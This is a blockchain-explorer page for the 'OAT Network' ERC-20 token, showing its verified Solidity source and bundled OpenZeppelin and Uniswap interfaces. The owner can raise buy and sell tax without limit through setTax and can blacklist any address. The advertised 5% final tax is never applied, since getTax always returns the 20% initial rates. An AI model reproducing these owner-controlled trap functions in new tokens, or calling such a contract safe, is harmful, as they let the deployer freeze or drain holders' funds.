ERC-20
Overview
Max Total Supply
10,000,000 OAT
Holders
407
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,010.084880936047381988 OATValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xaAe39004...9685581A5 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
OATNetwork
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.23; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "../interfaces/IUniswapV2Router02.sol"; contract OATNetwork is Context, IERC20, Ownable { using SafeERC20 for IERC20; // constant uint256 constant public DENOMINATOR = 10000; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _buyerMap; mapping(address => bool) public blacklist; address payable private _taxWallet; address payable private _devWallet; address payable private _mktWallet; uint256 private _initialBuyTax = 2000; uint256 private _initialSellTax = 2000; uint256 private _finalBuyTax = 500; uint256 private _finalSellTax = 500; uint256 private _preventSwapBefore = 28; uint256 private _buyCount = 0; uint256 public startTime; uint256 private _decimals = 18; uint256 private _tTotal = 10_000_000 * 10 ** _decimals; // 10 million string private _name = unicode"OAT Network"; string private _symbol = unicode"OAT"; uint256 private _maxTxAmount = (_tTotal * 500) / DENOMINATOR; // 5% of total supply uint256 private _maxWalletSize = (_tTotal * 100) / DENOMINATOR; // 1% of total supply uint256 private _taxSwapThreshold = _tTotal * 50 / DENOMINATOR; // 0.5% of total supply uint256 private _maxTaxSwap = _tTotal * 50 / DENOMINATOR; // 0.5% of total supply IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public tradingOpen = false; bool public inSwap = false; bool public swapEnabled = false; bool public addedLP = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } event MaxTxAmountUpdated(uint _maxTxAmount); event TaxWalletUpdate(address taxWallet_); event Blacklist(address taxWallet_, bool status_); constructor (address router_, address taxWallet_) Ownable(msg.sender){ _taxWallet = payable(taxWallet_); _devWallet = payable(taxWallet_); _mktWallet = payable(taxWallet_); _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; uniswapV2Router = IUniswapV2Router02(router_); _balances[owner()] = _tTotal; emit Transfer(address(0), owner(), _tTotal); emit TaxWalletUpdate(address(_taxWallet)); } //ERC20 functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "ERC20: Allowances not enough"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } // private functions function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); require(!blacklist[from] && !blacklist[to], "You are in blacklist"); uint256 taxAmount = 0; (uint256 _buyTax, uint256 _sellTax) = getTax(); if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(tradingOpen, "Trading not open"); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (_buyCount < _preventSwapBefore) { require(!isContract(to), "Not allow contract buy now"); } _buyCount++; _buyerMap[to] = true; } // buy tax taxAmount = amount * (_buyTax) / (DENOMINATOR); if (to == uniswapV2Pair && from != address(this)) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); //sell tax taxAmount = amount * (_sellTax) / (DENOMINATOR); require(_buyCount > _preventSwapBefore || _buyerMap[from], "Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 _taxSwap = _maxTaxSwap; if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(amount, min(contractTokenBalance, _taxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } // add liquidity dont charge fee if (_isExcludedFromFee[to] && to == address(uniswapV2Pair)) { taxAmount = 0; } // no fee when transfer if (to != uniswapV2Pair && from != uniswapV2Pair) { taxAmount = 0; } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)] + (taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from] - (amount); _balances[to] = _balances[to] + (amount - (taxAmount)); emit Transfer(from, to, amount - (taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } if (!tradingOpen) { return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint _taxAmount = amount / 2; uint _mktAmount = amount * 2 / 10; uint _devAmount = amount - (_taxAmount + _mktAmount); if (address(_taxWallet) != address(0)) { _taxWallet.transfer(_taxAmount); } if (address(_mktWallet) != address(0)) { _mktWallet.transfer(_mktAmount); } if (address(_devWallet) != address(0)) { _devWallet.transfer(_devAmount); } } receive() external payable {} // Restrict functions and public functions function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function addLiquidity() external onlyOwner() { require(!tradingOpen && !addedLP, "trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _isExcludedFromFee[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _isExcludedFromFee[address(uniswapV2Pair)] = false; addedLP = true; } function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); if (uniswapV2Pair == address(0)) { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } swapEnabled = true; tradingOpen = true; startTime = block.timestamp; } function setMaxTxPercentToDefault() external onlyOwner() { _maxTxAmount = _tTotal / 100; // Updates the maxTxAmount to be 1% of total supply emit MaxTxAmountUpdated(_maxTxAmount); // Emitting event for the update operation } function manualSwap() external { require(_msgSender() == _taxWallet, "Only tax wallet"); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } function changeMaxTaxSwap(uint256 _amount) external { require(_msgSender() == _taxWallet, "Only tax wallet"); require(_amount > 0 && _amount < _tTotal, "Invalid value"); _maxTaxSwap = _amount; } function changeTaxSwapThreshold(uint256 _amount) external { require(_amount > 0 && _amount < _tTotal, "Invalid value"); require(_msgSender() == _taxWallet, "Only tax wallet"); _taxSwapThreshold = _amount; } function changeTaxWallet(address taxWallet_, address devWallet_, address mktWallet_) external { require(_msgSender() == _taxWallet, "Only tax wallet"); require(taxWallet_ != address(0), "Invalid address taxWallet_"); require(devWallet_ != address(0), "Invalid address devWallet_"); require(mktWallet_ != address(0), "Invalid address mktWallet_"); _isExcludedFromFee[_taxWallet] = false; _isExcludedFromFee[_devWallet] = false; _isExcludedFromFee[_mktWallet] = false; _taxWallet = payable(taxWallet_); _devWallet = payable(devWallet_); _mktWallet = payable(mktWallet_); _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[_devWallet] = true; _isExcludedFromFee[_mktWallet] = true; emit TaxWalletUpdate(address(_taxWallet)); } function excludeFromFee(address _user) external onlyOwner { _isExcludedFromFee[_user] = true; } function includeFromFee(address _user) external onlyOwner { _isExcludedFromFee[_user] = false; } function setBlacklist(address _user, bool _isBlacklist) external onlyOwner { require(_msgSender() == _taxWallet, "Only tax wallet"); blacklist[_user] = _isBlacklist; emit Blacklist(_user, _isBlacklist); } function setTax(uint buy_, uint sell_) external onlyOwner { _initialBuyTax = buy_; _initialSellTax = sell_; } // Views function taxWallet() external view returns (address, address, address) { return (_taxWallet, _devWallet, _mktWallet); } function getTax() public view returns (uint _buy, uint _sell) { return (_initialBuyTax, _initialSellTax); } function initialBuyTax() external view returns (uint) { return _initialBuyTax; } function initialSellTax() external view returns (uint) { return _initialSellTax; } function finalBuyTax() external view returns (uint) { return _finalBuyTax; } function finalSellTax() external view returns (uint) { return _finalSellTax; } function maxTxAmount() external view returns (uint) { return _maxTxAmount; } function maxWalletSize() external view returns (uint) { return _maxWalletSize; } function taxSwapThreshold() external view returns (uint) { return _taxSwapThreshold; } function maxTaxSwap() external view returns (uint) { return _maxTaxSwap; } //internal function min(uint256 a, uint256 b) internal pure returns (uint256){ return (a > b) ? b : a; } function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.20; import {Context} from "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * ==== Security Considerations * * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be * considered as an intention to spend the allowance in any specific way. The second is that because permits have * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be * generally recommended is: * * ```solidity * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public { * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {} * doThing(..., value); * } * * function doThing(..., uint256 value) public { * token.safeTransferFrom(msg.sender, address(this), value); * ... * } * ``` * * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also * {SafeERC20-safeTransferFrom}). * * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so * contracts should have entry points that don't rely on permit. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. * * CAUTION: See Security Considerations above. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.20; import {IERC20} from "../IERC20.sol"; import {IERC20Permit} from "../extensions/IERC20Permit.sol"; import {Address} from "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; /** * @dev An operation with an ERC20 token failed. */ error SafeERC20FailedOperation(address token); /** * @dev Indicates a failed `decreaseAllowance` request. */ error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease); /** * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value))); } /** * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful. */ function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value))); } /** * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 oldAllowance = token.allowance(address(this), spender); forceApprove(token, spender, oldAllowance + value); } /** * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no * value, non-reverting calls are assumed to be successful. */ function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal { unchecked { uint256 currentAllowance = token.allowance(address(this), spender); if (currentAllowance < requestedDecrease) { revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease); } forceApprove(token, spender, currentAllowance - requestedDecrease); } } /** * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval * to be set to zero before setting it to a non-zero value, such as USDT. */ function forceApprove(IERC20 token, address spender, uint256 value) internal { bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value)); if (!_callOptionalReturnBool(token, approvalCall)) { _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0))); _callOptionalReturn(token, approvalCall); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data); if (returndata.length != 0 && !abi.decode(returndata, (bool))) { revert SafeERC20FailedOperation(address(token)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead. */ function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false // and not revert is the subcall reverts. (bool success, bytes memory returndata) = address(token).call(data); return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && address(token).code.length > 0; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol) pragma solidity ^0.8.20; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev The ETH balance of the account is not enough to perform the operation. */ error AddressInsufficientBalance(address account); /** * @dev There's no code at `target` (it is not a contract). */ error AddressEmptyCode(address target); /** * @dev A call to an address target failed. The target may have reverted. */ error FailedInnerCall(); /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { if (address(this).balance < amount) { revert AddressInsufficientBalance(address(this)); } (bool success, ) = recipient.call{value: amount}(""); if (!success) { revert FailedInnerCall(); } } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason or custom error, it is bubbled * up by this function (like regular Solidity function calls). However, if * the call reverted with no returned reason, this function reverts with a * {FailedInnerCall} error. * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { if (address(this).balance < value) { revert AddressInsufficientBalance(address(this)); } (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an * unsuccessful call. */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata ) internal view returns (bytes memory) { if (!success) { _revert(returndata); } else { // only check if target is a contract if the call was successful and the return data is empty // otherwise we already know that it was a contract if (returndata.length == 0 && target.code.length == 0) { revert AddressEmptyCode(target); } return returndata; } } /** * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the * revert reason or with a default {FailedInnerCall} error. */ function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) { if (!success) { _revert(returndata); } else { return returndata; } } /** * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}. */ function _revert(bytes memory returndata) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert FailedInnerCall(); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity ^0.8.20; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); // for avax function WAVAX() external pure returns (address); function addLiquidityAVAX( address token, uint amountTokenDesired, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountAVAX, uint liquidity); // for avax function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
